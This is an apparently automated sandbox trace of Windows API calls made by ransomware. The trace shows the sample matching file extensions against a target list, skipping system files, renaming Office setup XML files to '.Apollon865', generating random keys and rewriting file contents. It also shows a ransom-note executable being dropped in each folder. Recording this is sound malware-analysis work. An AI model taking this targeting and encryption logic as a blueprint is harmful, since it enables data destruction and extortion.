	[0075.674] lstrcmpiW (lpString1="VisiorWW.XML", lpString2=".lnk") returned 1
	[0075.674] lstrlenW (lpString=".ini") returned 4
	[0075.674] lstrcmpiW (lpString1="VisiorWW.XML", lpString2=".ini") returned 1
	[0075.674] lstrlenW (lpString=".sys") returned 4
	[0075.674] lstrcmpiW (lpString1="VisiorWW.XML", lpString2=".sys") returned 1
	[0075.674] lstrlenW (lpString="VisiorWW.XML") returned 12
	[0075.674] lstrlenW (lpString="bak") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.674] lstrlenW (lpString="ba_") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.674] lstrlenW (lpString="dbb") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.674] lstrlenW (lpString="vmdk") returned 4
	[0075.674] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.674] lstrlenW (lpString="rar") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.674] lstrlenW (lpString="zip") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.674] lstrlenW (lpString="tgz") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.674] lstrlenW (lpString="vbox") returned 4
	[0075.674] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.674] lstrlenW (lpString="vdi") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.674] lstrlenW (lpString="vhd") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.674] lstrlenW (lpString="vhdx") returned 4
	[0075.674] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.674] lstrlenW (lpString="avhd") returned 4
	[0075.674] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.674] lstrlenW (lpString="db") returned 2
	[0075.674] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.674] lstrlenW (lpString="db2") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.674] lstrlenW (lpString="db3") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.674] lstrlenW (lpString="dbf") returned 3
	[0075.674] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.675] lstrlenW (lpString="mdf") returned 3
	[0075.675] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.675] lstrlenW (lpString="mdb") returned 3
	[0075.675] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.675] lstrlenW (lpString="sql") returned 3
	[0075.675] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.675] lstrlenW (lpString="sqlite") returned 6
	[0075.675] lstrcmpiW (lpString1="WW.XML", lpString2="sqlite") returned 1
	[0075.675] lstrlenW (lpString="sqlite3") returned 7
	[0075.675] lstrcmpiW (lpString1="rWW.XML", lpString2="sqlite3") returned -1
	[0075.675] lstrlenW (lpString="sqlitedb") returned 8
	[0075.675] lstrcmpiW (lpString1="orWW.XML", lpString2="sqlitedb") returned -1
	[0075.675] lstrlenW (lpString="xml") returned 3
	[0075.675] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.675] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.Apollon865") returned 110
	[0075.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.677] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8723) returned 1
	[0075.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.678] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.678] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.678] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.679] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2520, lpName=0x0) returned 0x118
	[0075.680] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2520) returned 0x100000
	[0075.681] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.682] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.682] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.683] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.683] CloseHandle (hObject=0x118) returned 1
	[0075.683] CloseHandle (hObject=0xc0) returned 1
	[0075.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.683] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0
	[0075.683] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.683] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd10
	[0075.683] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us"
	[0075.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c18d8 | out: hHeap=0x580000) returned 1
	[0075.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0075.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us") returned 91
	[0075.683] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us"
	[0075.683] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.683] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.690] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x452f2210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x452f2210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.691] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.691] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.691] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.691] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x452f2210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x452f2210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.691] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.691] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.691] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.691] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.691] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x452f2210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x452f2210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.691] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.691] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.691] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*") returned 93
	[0075.691] lstrcpyW (in: lpString1=0x2d3e608, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.691] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.691] lstrlenW (lpString="Apollon865") returned 10
	[0075.691] lstrlenW (lpString=".dll") returned 4
	[0075.691] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.692] lstrlenW (lpString=".lnk") returned 4
	[0075.692] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.692] lstrlenW (lpString=".ini") returned 4
	[0075.692] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.692] lstrlenW (lpString=".sys") returned 4
	[0075.692] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.692] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.692] lstrlenW (lpString="bak") returned 3
	[0075.692] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.692] lstrlenW (lpString="ba_") returned 3
	[0075.692] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.692] lstrlenW (lpString="dbb") returned 3
	[0075.692] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.692] lstrlenW (lpString="vmdk") returned 4
	[0075.692] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.692] lstrlenW (lpString="rar") returned 3
	[0075.692] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.692] lstrlenW (lpString="zip") returned 3
	[0075.692] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.692] lstrlenW (lpString="tgz") returned 3
	[0075.692] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.692] lstrlenW (lpString="vbox") returned 4
	[0075.692] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.692] lstrlenW (lpString="vdi") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.693] lstrlenW (lpString="vhd") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.693] lstrlenW (lpString="vhdx") returned 4
	[0075.693] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.693] lstrlenW (lpString="avhd") returned 4
	[0075.693] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.693] lstrlenW (lpString="db") returned 2
	[0075.693] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.693] lstrlenW (lpString="db2") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.693] lstrlenW (lpString="db3") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.693] lstrlenW (lpString="dbf") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.693] lstrlenW (lpString="mdf") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.693] lstrlenW (lpString="mdb") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.693] lstrlenW (lpString="sql") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.693] lstrlenW (lpString="sqlite") returned 6
	[0075.693] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.693] lstrlenW (lpString="sqlite3") returned 7
	[0075.693] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.693] lstrlenW (lpString="sqlitedb") returned 8
	[0075.693] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.693] lstrlenW (lpString="xml") returned 3
	[0075.693] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.693] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.Apollon865") returned 112
	[0075.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.696] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6241) returned 1
	[0075.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.696] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.697] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.697] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.697] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b70, lpName=0x0) returned 0x118
	[0075.699] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b70) returned 0x100000
	[0075.700] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.700] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.700] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.701] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.701] CloseHandle (hObject=0x118) returned 1
	[0075.701] CloseHandle (hObject=0x15c) returned 1
	[0075.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.701] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1
	[0075.701] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.701] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.701] lstrcmpiW (lpString1="VisioMUI.XML", lpString2=".") returned 1
	[0075.701] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="..") returned 1
	[0075.701] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="windows") returned -1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="bootmgr") returned 1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="temp") returned 1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="pagefile.sys") returned 1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="boot") returned 1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="ids.txt") returned 1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="ntuser.dat") returned 1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="perflogs") returned 1
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="MSBuild") returned 1
	[0075.702] lstrlenW (lpString="VisioMUI.XML") returned 12
	[0075.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0075.702] lstrcpyW (in: lpString1=0x2d3e608, lpString2="VisioMUI.XML" | out: lpString1="VisioMUI.XML") returned="VisioMUI.XML"
	[0075.702] lstrlenW (lpString="VisioMUI.XML") returned 12
	[0075.702] lstrlenW (lpString="Apollon865") returned 10
	[0075.702] lstrcmpiW (lpString1="sioMUI.XML", lpString2="Apollon865") returned 1
	[0075.702] lstrlenW (lpString=".dll") returned 4
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2=".dll") returned 1
	[0075.702] lstrlenW (lpString=".lnk") returned 4
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2=".lnk") returned 1
	[0075.702] lstrlenW (lpString=".ini") returned 4
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2=".ini") returned 1
	[0075.702] lstrlenW (lpString=".sys") returned 4
	[0075.702] lstrcmpiW (lpString1="VisioMUI.XML", lpString2=".sys") returned 1
	[0075.702] lstrlenW (lpString="VisioMUI.XML") returned 12
	[0075.702] lstrlenW (lpString="bak") returned 3
	[0075.702] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.702] lstrlenW (lpString="ba_") returned 3
	[0075.702] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.702] lstrlenW (lpString="dbb") returned 3
	[0075.702] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.702] lstrlenW (lpString="vmdk") returned 4
	[0075.702] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.702] lstrlenW (lpString="rar") returned 3
	[0075.702] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.702] lstrlenW (lpString="zip") returned 3
	[0075.702] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.702] lstrlenW (lpString="tgz") returned 3
	[0075.702] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.702] lstrlenW (lpString="vbox") returned 4
	[0075.703] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.703] lstrlenW (lpString="vdi") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.703] lstrlenW (lpString="vhd") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.703] lstrlenW (lpString="vhdx") returned 4
	[0075.703] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.703] lstrlenW (lpString="avhd") returned 4
	[0075.703] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.703] lstrlenW (lpString="db") returned 2
	[0075.703] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.703] lstrlenW (lpString="db2") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.703] lstrlenW (lpString="db3") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.703] lstrlenW (lpString="dbf") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.703] lstrlenW (lpString="mdf") returned 3
